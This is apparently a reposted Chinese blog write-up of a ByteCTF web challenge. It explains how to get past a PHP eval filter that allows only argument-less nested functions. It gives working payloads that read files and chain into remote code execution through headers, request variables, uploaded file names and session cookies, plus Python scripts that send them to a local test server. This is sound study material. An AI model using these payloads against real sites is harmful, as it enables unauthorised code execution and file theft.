ByteCTF一道题的分析与学习PHP无参数函数的利用

2019-09-15 约 445 字 预计阅读 3 分钟

声明:本文 【ByteCTF一道题的分析与学习PHP无参数函数的利用】 由作者 Threezh1 于 2019-09-15 10:44:35 首发 先知社区 曾经 浏览数 95 次

感谢 Threezh1 的辛苦付出!

说在前面

这次参与了ByteCTF,尝试做了boringcode和EZCMS。虽然都没做出来,但是学到了很多东西。

这次通过ALTM4NZ师傅的wp来分析一下boringcode这道题并学习一下无参数函数的利用。

boringcode

看一下代码:

<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}

这个页面的作用是,接受一个url参数,利用file_get_content远程获取url页面的源码,传递给eval执行。但在url传递和源码传递过程中有各种检测。

第一个点:

  1. is_valid_url()函数来检测url的正确性,并禁止使用data协议。
  2. url的host必须以baidu.com结尾。

绕过:

如果data协议没有被绕过,则可以使用:data://baidu.com/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo= 来进行绕过。

这里把data协议禁止了之后,想要利用伪协议绕过的话近乎无解。只想到购买域名来进行绕过,比如threezh1baidu.com。 (还好没买! 买了也做不出来。)

第二个点:

  1. preg_replace('/[a-z]+\((?R)?\)/'可知,这里只允许无参数的函数传递进来。并且函数名只能为字母,不能包含下划线等其他特殊字符。
  2. 过滤了很多的关键字:et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log

这里绕过没做出来,学习大佬是怎么做这题的。

绕过:

preg_replace('/[a-z]+\((?R)?\)/'虽然只允许无参数,但是允许函数套用。正则表达式匹配情况:

通过这样的嵌套,就能构造出payload进行读取文件操作,在特殊情况下还可以进行RCE。这题只能读取文件。

  • 第一种方式:

参考:ByteCTF_WEB

来看这个师傅的Payload:

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

payload很长,第一次看的的时候吓了一跳。 来看看他是怎么通过这个payload获取到flag了吧。

因为环境已经关了,所以我在在本地搭了一个环境。

WWW/flag flag文件

WWW/code/code.php:

<?php
if ($_POST['code']){
    $code = $_POST['code'];
    if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
        if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
            echo 'bye~';
        } else {
            eval($code);
        }
    }else{
        echo "No No No";
    }
}
?>

先来看这几个函数:

scandir()   列出 images 目录中的文件和目录。
end()       将内部指针指向数组中的最后一个元素,并输出。
readfile()  输出一个文件

scandir()接受一个目录地址的参数,当传递为一个"."时,则会返回一个数组包含当前目录下的目录名和文件名。

那构造readfile(end(scandir('.')));就会读取到当前目录下最后一个文件。

如果把函数参数检测关掉的话,返回的内容为code.php的源码:

这题因为不能附带参数,所以需要寻找一个函数能生成一个"."。于是找到了

localeconv()   函数返回一包含本地数字及货币格式信息的数组。

这个函数会返回:

array(18) {
  ["decimal_point"]=>
  string(1) "."
  ["thousands_sep"]=>
  string(0) ""
  ["int_curr_symbol"]=>
  ....

数组中第一个值就是"."。再通过下面两个函数可以构造:current(localeconv())或者pos(localeconv())。因为这里还过滤en,所以就选择了后者。

current()       返回数组中的当前单元, 默认取第一个值
pos()           current() 的别名

这时,我们就可以获取到当前目录的最后一个文件了,payload为:

readfile(end(scandir(pos(localeconv()))));

因为flag是在上一个目录,所以我们还需要使用chdir() next()来重新定义一下php当前目录,再使用readfile进行读取文件。

chdir() 函数改变当前的目录。
next() 函数将内部指针指向数组中的下一个元素,并输出。 这里可以获取到scandir()返回的".."

将目录定义为上一目录:chdir(next(scandir(pos(localeconv()))))

但是chdir()函数执行成功之后不会返回当前目录,只会返回"1"。 如前面读文件一样,我们还是需要一个"."来读取flag。

ALTM4NZ师傅找到了一个很骚的操作,就是使用localtime()配合chr来获取一个"."。

localtime() 函数返回本地时间。返回的类型为关联数组

    关联数组的键名如下:

    [tm_sec] - 秒数
    [tm_min] - 分钟数
    [tm_hour] - 小时
    ...

chr() 函数从指定的 ASCII 值返回字符。

获取"."的payload:chr(pos(localtime()))

当时间为某一分钟的46秒时, pos(localtime())返回46。46是"."的ASCII码值。所以payload就会返回"."

但这里存在一个问题就是localtime()参数只接受时间戳。

所以这里需要使用time()来解决。time()不会受参数的影响并且会返回一个时间戳。

至此,我们的payload就为:

chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))

在46秒的时候,就会返回"."

再用前面读取文件的方式就可以在每分钟的46秒时读取到flag了。

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

  • 第二种方式

这个payload是在群里面看到一个师傅发的。

if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));

因为chdir()返回0和1,所以使用if来判断并执行后面语句进行读取文件。这样就不用使用localtime函数来获取"."。可以直接读flag。

实现的函数在第一种方式都有。就不分析了。

无参数函数的利用总结

环境:

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_POST['code'])) {    
    eval($_POST['code']);
}
?>

这里正则表达式和题目的区别在于这里还运行函数名称包含_等特殊字符。

获取环境变量

使用getenv()获取超全局变量的数组,使用array_rand和array_flip爆破出所有的全局变量。

getenv()        获取一个环境变量的值(在7.1之后可以不给予参数)
array_rand()    函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip()    array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。

payload:

echo(array_rand(array_flip(getenv())));

getallheaders() => RCE

getallheaders()     获取全部 HTTP 请求头信息, 是下方函数的别名
apache_request_headers  获取全部 HTTP 请求头信息
这两个函数只适用于apache服务器

函数返回内容:

array(11) {
  ["Accept-Language"]=>
  string(23) "zh-CN,zh;q=0.9,en;q=0.8"
  ["Accept-Encoding"]=>
  string(17) "gzip, deflate, br"
  ["Accept"]=>
  string(3) "*/*"
  ["Content-Type"]=>
  string(68) "multipart/form-data; boundary=----WebKitFormBoundaryevLOjNPCJPGbsCBf"
  ...
}

当我们构造一个Header时:

添加一个Header为test: phpinfo();,根据位置选择合适的payload:

  1. 添加在Header在第一个:

    payload: code=eval(pos(getallheaders()));

    (pos()可以换为current(). 如果在第二个可以使用next())

  2. 添加在Header在最后一个:

    payload: code=eval(end(getallheaders()));

  3. 不知道位置:

    配合array_rand(), array_flip()构造payload进行爆破:

    payload: eval(array_rand(array_flip(getallheaders())));

get_defined_vars() => RCE

get_defined_vars() 函数返回由所有已定义变量所组成的数组。

和getallheaders()利用类似,但是不止apache, ngnix和其他的也可以用

函数返回内容:

array(4) {
  ["_GET"]=>
  array(0) {
  }
  ["_POST"]=>
  array(1) {
    ["code"]=>
    string(29) "var_dump(get_defined_vars());"
  }
  ["_COOKIE"]=>
  array(0) {
  }
  ["_FILES"]=>
  array(0) {
  }
}

会返回全局变量的值,如get、post、cookie、file数据。

  1. 利用$_GET

url中添加参数:http://127.0.0.1/code/code.php?test=phpinfo();

post数据:eval(end(current(get_defined_vars())));

  1. 利用$_FILES
import requests

files = {
  "system('ping 127.0.0.1');": ""
}
data = {
"code":"eval(pos(pos(end(get_defined_vars()))));"
}
r = requests.post('http://127.0.0.1/code/code.php', data=data, files=files)
print(r.content.decode("utf-8", "ignore"))

把payload直接放在文件的名称上,再通过两个pos定位进行利用。

也可以像sky师傅脚本里面那样进行编码,使用hex2bin()解码利用。

session_id() => RCE

session_id() 可以用来获取/设置 当前会话 ID。

可以通过修改cookie来设置session,用session_id()读取进行利用。

payload:

import requests
import binascii

payload = "system('ping 127.0.0.1');"
payload = str(binascii.b2a_hex(payload.encode('utf-8'))).strip("b").strip("'")
cookies={
    "PHPSESSID": payload
}
data = {
"code":"eval(hex2bin(session_id(session_start())));"
}
r = requests.post('http://127.0.0.1/code/code.php', data=data, cookies=cookies)
print(r.content.decode("utf-8", "ignore"))

无参数函数小总结

这里是针对无参数函数利用来说的。

getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。

readfile()  输出一个文件

current()       返回数组中的当前单元, 默认取第一个值
pos()           current() 的别名
next() 函数将内部指针指向数组中的下一个元素,并输出。
end()       将内部指针指向数组中的最后一个元素,并输出。
array_rand()    函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip()    array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。

chr() 函数从指定的 ASCII 值返回字符。
hex2bin — 转换十六进制字符串为二进制字符串

getenv()        获取一个环境变量的值(在7.1之后可以不给予参数)

常见的就这么一些。先记录到这吧。

参考

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now